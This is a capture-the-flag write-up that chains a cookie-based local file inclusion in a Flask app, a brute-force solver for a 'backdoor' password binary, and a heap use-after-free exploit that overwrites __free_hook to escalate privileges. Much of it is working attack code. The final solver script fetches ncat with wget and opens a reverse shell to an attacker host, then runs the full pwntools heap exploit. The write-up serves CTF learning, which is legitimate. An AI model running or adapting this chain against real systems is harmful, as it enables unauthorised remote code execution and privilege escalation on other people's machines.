master
Initial Access via LFI, Privilege Escalation via Heap Exploitation.
9 min read
[ + ]Introduction
This challenge emulated a full chain exploit chain. From initial access via code execution to privilege escalation via heap exploitation.
To start the challenge we are provided with a single URL.
[ + ]Initial Access
After an initial look around, I noticed that the cassette that was playing was being set in our cookies, and read from our cookies.
This meant that we may have LFI if not enough sanitization was done around the provided path.
I confirmed there was LFI by attempting to read /etc/passwd
:
After decoding the base64, we see the following:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
th3plagu3:x:1000:1000::/home/th3plagu3:/bin/sh
zer0c00l:x:1001:1001::/home/zer0c00l:/bin/sh
So we were able to confirm LFI, and noticed something weird as well. There are two users listed at the bottom th3plagu3
and zer0c00l
.
After some playing around, I decided to enumerate the processes and commandlines running on the host to get some indication as to where the source code might be and try to gather clues.
for i in $(seq 1 5000); do echo $i >> pid.txt; done
ffuf -c -w pid.txt:FUZZ -b \
"cassette_path=/proc/FUZZ/cmdline" \
-u http://HOST -fw 37
In doing so, I found the following:
I was able to get all of the information I needed from PID 1. Here is the command line:
/bin/sh -c dropflag "${PWD}/flag.txt" \
&& chown th3plagu3:th3plagu3 /opt/chal/flag.txt \
&& chmod 440 /opt/chal/flag.txt \
&& env --unset='FLAG' su -c "gunicorn -w 4 -t 120 -b '0.0.0.0:8000' \
web:app" zer0c00l
So we could see that the target was /opt/chal/flag.txt
and that there was also a web.py
in /opt/chal
. Using the LFI we were not able to read the flag, but we were able to read the file at /opt/chal/web.py
:
from flask import Flask, render_template, request, session, redirect, url_for
from base64 import b64encode
from subprocess import check_output
app = Flask(__name__)
@app.route('/')
def index():
cassette_path = request.cookies.get('cassette_path', None)
if cassette_path:
with open(cassette_path, 'rb') as f:
cassette_data = b64encode(f.read())
else:
cassette_data = ''
return render_template('index.html', cassette_data=cassette_data)
@app.route('/cassette', methods=['POST'])
def cassette():
cassette_path = 'cassettes/{}'.format(request.form['cassette_path'])
r = redirect(url_for('index'))
r.set_cookie('cassette_path', cassette_path)
return r
@app.route('/super_s3cret_b4ckd00r___', methods=['POST'])
def super_s3cret_b4ckd00r___():
out = check_output(['./backdoor', request.form['password']]).strip()
if out == 'accepted password':
return check_output(request.form['cmd'], shell=True)
return redirect(url_for('index'))
if __name__ == '__main__':
app.run('0.0.0.0', port=5000, debug=True)
Now we have identified a new endpoint (/super_s3cret_b4ckd00r___
) that would allow for RCE, but there is a check happening with some ./backdoor
binary to see if the password we are providing is the one the binary expects.
We can pull the binary at /opt/chal/backdoor
using our LFI to take a look at what the password may be.
The main sections of the binary are happening in main
and check_password
:
We can see that the binary is passing the first argument provided (our password) and checking it in the subroutine.
In the subroutine, we take each character of the argument, and get the value at that index and replace it in our argument.
Then we use the value of the first character to seed a random number generator, loop through each character in the new argument, and if the "random" number generated is 1, we swap it with the last character in our argument.
Finally we check that the new argument is equal to correct_buf
Seems pretty challenging until you realized there is only a finite amount of possibilities to seed with.
To solve this we can extract tbl
, correct_buf
, then find the indexes of tbl
that would satisfy correct_buf
without being swapped, then brute force it by trying to swap the characters ourselves, then running the binary.
Here is the solution for that:
def solve_binary():
log.info('Attempting to solve the binary...')
libc = CDLL(find_library("c"))
tbl = (
"7d c4 49 75 8e 78 68 c6 55 63 71 97 60 c3 f9 91 44 53 34 a4 4e 05 35 9b e3 f2 c5 e7 09 b5 cf a9 4f "
"9c 10 00 08 64 c9 d4 b2 e6 a8 be df 7c d8 28 ad d7 62 0a 40 dc 3c 41 ca 2e 20 3a 43 84 cb 06 c0 b9 "
"07 c2 2d bc 0e 52 70 73 66 bf ba 1c 77 6e 4a 99 2a 36 ef 90 5d 0b d3 13 47 a3 e1 e0 4b 04 15 6d f5 "
"fd 0d 26 98 76 0c 30 b7 24 c1 03 5c 9a 89 f4 21 81 6f 5a 57 50 5b 23 e9 18 cc 4d de f8 6b 2c 6a a5 "
"8f 2b 42 fe bb 93 9f d2 e5 fb b1 d5 65 dd 83 f7 3b cd 1a 6c 7b b0 aa b3 29 d9 51 1f 3e 67 96 8c e8 "
"d1 ec ce f6 87 1d 8d 22 45 ff a1 74 85 bd 33 ee b8 11 48 88 16 f1 38 54 95 ed 80 f0 37 19 39 46 e2 "
"a0 db 94 25 32 02 af a7 c8 e4 86 17 b4 3f 4c 27 3d 12 a2 61 ab b6 69 82 9e 58 14 56 2f 5f f3 59 9d "
"c7 8a 8b d0 7a a6 eb da ea 1e 7f 79 7e 5e fc 0f fa 92 ac 31 72 d6 ae 1b 01"
)
tbl = tbl.split(' ')
correct_buf = (
"6f 0a 03 81 04 81 50 d7 0c 6f 04 6f 0a 04 0c 0a f5 6f 04 0d d7 81 0a 04 d7 24 0a 04 c1 6f 0c 0a 04 "
"21 0a 81"
)
correct_buf = correct_buf.split(' ')
initial_solution = []
for x in correct_buf:
initial_solution.append(chr(tbl.index(x)))
solutions = []
# find all possible values for srand
for i in range(256):
tmp_str = initial_solution.copy()
libc.srand(i)
random_values = []
# generate the random values
for _ in range(36):
random_values.append(libc.rand() & 1)
# do the swap thing
for x in range(36):
index = 36 - 1 - x
if random_values[index] == 0:
tmp_str[index], tmp_str[-1] = tmp_str[-1], tmp_str[index]
s = ''.join(tmp_str)
# check if valid
if subprocess.call(['./backdoor', s], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) == 0:
solutions.append(s)
log.info('Found solution - ' + s)
return solutions
Running this we get two solutions:
m3ss_w1th_th3_b3st_d13_l1k3_th3_r3st
t3mshsw1tt__3h_3btd1_s31k3l_th33_rs_
[ + ]Privilege Escalation
So now we can get code exec, but we quickly notice that the process was run as zer0c00l
, but the file has read access only for th3plagu3
:
I noticed the suid binary gibson
but decided to spend some time looking for kernel exploits but only got dead-ends.
Decided to focus on getting privilege escalation using gibson
. I ran it a few times to get an idea of what was happening, then I pulled the binary and started taking a look.
Taking a look at the decompiled code it was fairly complex and the binary was fairly large.
For some reference, here are code snippets with some explanations:
main
As shown below, the main
subroutine takes some input and compares it to the functions available, and call their respective subroutines.
What is important for identifying the vulnerability is the touch
, ln
and rm
functions.
touch
The touch
subroutine prompts the user for three inputs - the file name, data size, and content. Once the input is provided, a chunk is malloced with the size of the file provided, then make_file
is called with three parameters - the file name, the content chunk pointer, and the size of the content.
What is important here is the make_file
call, and the first malloc
.
make_file
Here we can see the various chunks associated with a file.
v5
is a chunk of size0x20
- Index 0 and 1 are set to
0
- The pointer to the name is stored at index 2
- The pointer to
v6
is stored at index 3
- Index 0 and 1 are set to
v6
is a chunk of size0x18
- The pointer to the content chunk is stored at index 0
- The size of the content chunk is stored at index 1
Just by looking at this subroutine we start to get a sense of the underlying data structures.
rm
Similarly to the touch
subroutine, there is noting too exciting here, but most importantly, is the call to rm_fsentry
with a pointer to the child
.
rm_fsentry
We can quickly see here that there is some recursion happening. This makes sense since the rm
subroutine can also be used for directories. Though, this is a clear indication that the value at a1[2]
is a flag to determine if the chunk is a directory or file.
If we recall what we found in make_file
we can see that a1[3]
being freed means that the content metadata chunk is being freed, and a1[3][0]
being freed shows that the content chunk is also freed. Finally the a1
chunk is freed.
Again, this starts to provide us an idea of the underlying datastructures being stored on the heap.
ln
As shown below, the ln
subroutine will create a symbolic link to a file. In the process, some data from the file is stored in the link.
Very simply, here is a look at what is happening here:
v4
chunk allocated of size0x20
v4[0]
equalschild[0]
v4[1]
equalschild[1]
v4[2]
equals address of the namev4[3]
equalschild[3]
Without going line by line to explain exactly how I developed this, I was able to map out a general structure for how items were being stored on the heap:
It looks fairly complex but it really is not. You can see that there are 3 main data structures being stored on the heap.
- Directory
- File
- Link
The directory and file are very similar. What differentiates them is a directory
flag and that the content will store addresses to children objects.
There is nothing too crazy here, but the bread and butter of the vulnerability comes down to how file deletions are handled.
Nowhere in the code does the program go back to check for link files referencing files during deletion. That means that there is neither a flag set in link file structures denoting that the file it is referencing is removed, or that the link is removed all-together during file deletion.
This gives way to a use-after-free vulnerability.
Effectively, there are 3 phases for exploiting this UAF vulnerability.
- Leak libc
- Overwrite
__free_hook
withsystem
and ensure/bin/sh
is passed as a parameter. - Trigger
__free_hook
In order to leak libc, I was able to do the following:
##### To setup leak libc #####
# Fastbins - size == 0x20
node_a = add()
# Added for heap grooming - size == 0x20
node_b = add()
# Unsorted bins
node_c = add(size=0x100)
# Create link between node_c and uaf_node
uaf_node = id_generator()
link(node_c, uaf_node)
# Remove chunks
remove(node_a)
remove(node_c)
# To leak libc
show(uaf_node)
How does this work?
When we first allocate two chunks of small size (0x20
) then a large one (0x100
). The large chunk, when freed, will end up in unsorted bins which will put main_arena+88
in its place.
After all three nodes have been allocated, we create a link to the large node. Then we free the first node, and the third node.
We need to free the first node such that an address is maintained in metadata of the large node.
You can see in the image above that when we remove a node, three chunks are free'd, content
, metadata
, and lookup table
(1)
. You can see that the large chunk was free's to the unsorted bins which cause the main_arena+88
address to be put in the chunk. However, we see that the address for the content changed, and no longer points to the chunk with the libc leak. Instead it points to the address of the previous chunk in the linked lists address - 0x10
. We can still leak libc using this information though. This is because the link
object points to the lookup table
.
In the screenshot bellow we look for addresses pointing to 0x2228710
on the heap:
So now when we show
the link
object, we are able to leak libc
:
Now we can look for ways to exploit this to get a shell. This part is pretty straight forward, we just need to use the same vulnerability to modify an allocated node's content metadata
such that the address for the content is __free_hook
rather than an address on the heap, then edit the node and place the address of system
there.
Finally we can trigger __free_hook
by allocating a new node with the content /bin/sh
.
Although multiple chunks are freed in the process of removing a node (which would trigger __free_hook
each time), I found it easiest to use the content of a node.
The final phase looks as follows:
libc_base, free_hook, system = calculate_offsets()
# Heap grooming - will allow for node_b to be in range of node_c when reading
add()
# Start UAF vuln
node_a = add(size=0x60)
node_b = add(size=0x60)
node_c = add(size=0x300)
uaf_node = id_generator()
link(node_c, uaf_node)
remove(node_a)
remove(node_c)
# Read UAF node
show(uaf_node)
content = p.read(0x300)
# Edit such that content of node_b points to __free_hook
new_data = content[:0x80] + p64(free_hook)
edit(uaf_node, new_data)
# Modify node_b such that __free_hook points to system
edit(node_b, p64(system))
Here is a screenshot of the address we are targeting in this exploit with content[:0x80] + p64(free_hook)
(which is the content address of node_b
):
Once we edit node_b
, rather than editing the content we will be editing the data at the address of __free_hook
.
[ + ]Solution
Here is the solution proof:
Solver
import os
import requests
import string
import random
from ctypes import CDLL
from ctypes.util import find_library
from pwn import *
from requests import ReadTimeout
# context.log_level = 'debug'
NETID = ''
LHOST = ''
LPORT = 0
RHOST = ''
RPORT = 0
VICTIM = f'http://{RHOST}:{RPORT}'
NC_URL = 'https://gitlab.com/pentest-tools/static-binaries/-/raw/master/binaries/linux/x86_64/ncat'
REVERSE_SHELL = f'cd /tmp && wget {NC_URL} -O ncat && chmod +x ncat; ./ncat -c /opt/chal/gibson {LHOST} {LPORT}'
def initial_access():
def download_binary():
log.info('Attempting to download the binary...')
response = requests.get(VICTIM, cookies={'CHALBROKER_USER_ID': NETID, 'cassette_path': '/opt/chal/backdoor'})
decoded = base64.b64decode(response.text.split('video/webm;base64,')[-1].split('\">')[0])
with open('backdoor', 'wb') as f:
f.write(decoded)
os.system('chmod +x backdoor')
log.info('Finished downloading.')
def solve_binary():
log.info('Attempting to solve the binary...')
libc = CDLL(find_library("c"))
tbl = (
"7d c4 49 75 8e 78 68 c6 55 63 71 97 60 c3 f9 91 44 53 34 a4 4e 05 35 9b e3 f2 c5 e7 09 b5 cf a9 4f "
"9c 10 00 08 64 c9 d4 b2 e6 a8 be df 7c d8 28 ad d7 62 0a 40 dc 3c 41 ca 2e 20 3a 43 84 cb 06 c0 b9 "
"07 c2 2d bc 0e 52 70 73 66 bf ba 1c 77 6e 4a 99 2a 36 ef 90 5d 0b d3 13 47 a3 e1 e0 4b 04 15 6d f5 "
"fd 0d 26 98 76 0c 30 b7 24 c1 03 5c 9a 89 f4 21 81 6f 5a 57 50 5b 23 e9 18 cc 4d de f8 6b 2c 6a a5 "
"8f 2b 42 fe bb 93 9f d2 e5 fb b1 d5 65 dd 83 f7 3b cd 1a 6c 7b b0 aa b3 29 d9 51 1f 3e 67 96 8c e8 "
"d1 ec ce f6 87 1d 8d 22 45 ff a1 74 85 bd 33 ee b8 11 48 88 16 f1 38 54 95 ed 80 f0 37 19 39 46 e2 "
"a0 db 94 25 32 02 af a7 c8 e4 86 17 b4 3f 4c 27 3d 12 a2 61 ab b6 69 82 9e 58 14 56 2f 5f f3 59 9d "
"c7 8a 8b d0 7a a6 eb da ea 1e 7f 79 7e 5e fc 0f fa 92 ac 31 72 d6 ae 1b 01"
)
tbl = tbl.split(' ')
correct_buf = (
"6f 0a 03 81 04 81 50 d7 0c 6f 04 6f 0a 04 0c 0a f5 6f 04 0d d7 81 0a 04 d7 24 0a 04 c1 6f 0c 0a 04 "
"21 0a 81"
)
correct_buf = correct_buf.split(' ')
initial_solution = []
for x in correct_buf:
initial_solution.append(chr(tbl.index(x)))
solutions = []
# find all possible values for srand
for i in range(256):
tmp_str = initial_solution.copy()
libc.srand(i)
random_values = []
# generate the random values
for _ in range(36):
random_values.append(libc.rand() & 1)
# do the swap thing
for x in range(36):
index = 36 - 1 - x
if random_values[index] == 0:
tmp_str[index], tmp_str[-1] = tmp_str[-1], tmp_str[index]
s = ''.join(tmp_str)
# check if valid
if subprocess.call(['./backdoor', s], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT) == 0:
solutions.append(s)
log.info('Found solution - ' + s)
return solutions
def get_shell(password: str):
data = {
'password': password,
'cmd': REVERSE_SHELL
}
try:
requests.post(
f'{VICTIM}/super_s3cret_b4ckd00r___',
cookies={'CHALBROKER_USER_ID': NETID},
data=data,
timeout=3
)
except ReadTimeout:
pass
log.info('Payload sent: \n\t\t' + REVERSE_SHELL)
log.info('Connection should come in soon.')
download_binary()
binary_solutions = solve_binary()
get_shell(password=binary_solutions[0])
def privilege_escalation():
question = b"?\n"
prompt = b":\n"
def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def run_command(command: str):
p.sendlineafter(b"> ", command.encode('utf-8'))
def add(node: str = None, size: int = 0x20, content: bytes = b"CONTENT"):
if not node:
node = id_generator()
log.info("Added - " + node)
run_command("touch")
p.sendlineafter(question, node.encode('utf-8'))
p.sendlineafter(question, str(size).encode('utf-8'))
p.sendlineafter(prompt, content)
return node
def remove(node: str):
log.info("Removed - " + node)
run_command("rm")
p.sendlineafter(question, node.encode('utf-8'))
return node
def edit(node: str, content: bytes):
run_command("edit")
log.info("Edited - " + node)
p.sendlineafter(question, node.encode('utf-8'))
p.sendlineafter(prompt, content)
return node
def link(node_a: str, node_b: str):
run_command("ln")
log.info("Linked - a) " + node_a + " & b) " + node_b)
p.sendlineafter(question, node_a.encode('utf-8'))
p.sendlineafter(question, node_b.encode('utf-8'))
return node_a, node_b
def show(node: str):
run_command("cat")
p.sendlineafter(question, node.encode('utf-8'))
def calculate_offsets():
chunk_data = p.read(0x100)
address = u64(chunk_data[-8:-2].ljust(8, b'\0'))
libc_base = address - 0x3c4af0 - 0x88
free_hook = libc_base + 0x3c67a8
system = libc_base + 0x45390
log.info("Leaked address - " + hex(address))
log.info("libc base address - " + hex(libc_base))
log.info("free_hook address - " + hex(free_hook))
return libc_base, free_hook, system
def stage_1():
"""
Stage 1 of exploit is used to leak libc base address
"""
# To setup leak libc
node_a = add()
node_b = add()
node_c = add(size=0x100)
uaf_node = id_generator()
link(node_c, uaf_node)
remove(node_a)
remove(node_c)
# To leak libc
show(uaf_node)
def stage_2():
"""
Stage 2 of exploit is to setup `__free_hook` to point to `system` such that when `free` is
called, `system` is triggered.
"""
libc_base, free_hook, system = calculate_offsets()
# Heap grooming - will allow for node_b to be in range of node_c when reading
add()
# Start UAF vuln
node_a = add(size=0x60)
node_b = add(size=0x60)
node_c = add(size=0x300)
uaf_node = id_generator()
link(node_c, uaf_node)
remove(node_a)
remove(node_c)
# Read UAF node
show(uaf_node)
content = p.read(0x300)
# Edit such that content of node_b points to __free_hook
new_data = content[:0x80] + p64(free_hook)
edit(uaf_node, new_data)
# Modify node_b such that __free_hook points to system
edit(node_b, p64(system))
def stage_3():
"""
Stage 3 of exploit used to trigger `system` with `/bin/sh`
"""
# Trigger system(command=/bin/sh)
tmp = add(content=b'/bin/sh')
remove(tmp)
log.info('K here\'s your elevated shell...')
def pwn():
stage_1()
stage_2()
stage_3()
p.interactive()
p.wait_for_connection()
pwn()
if __name__ == "__main__":
p = listen(4444)
initial_access()
privilege_escalation()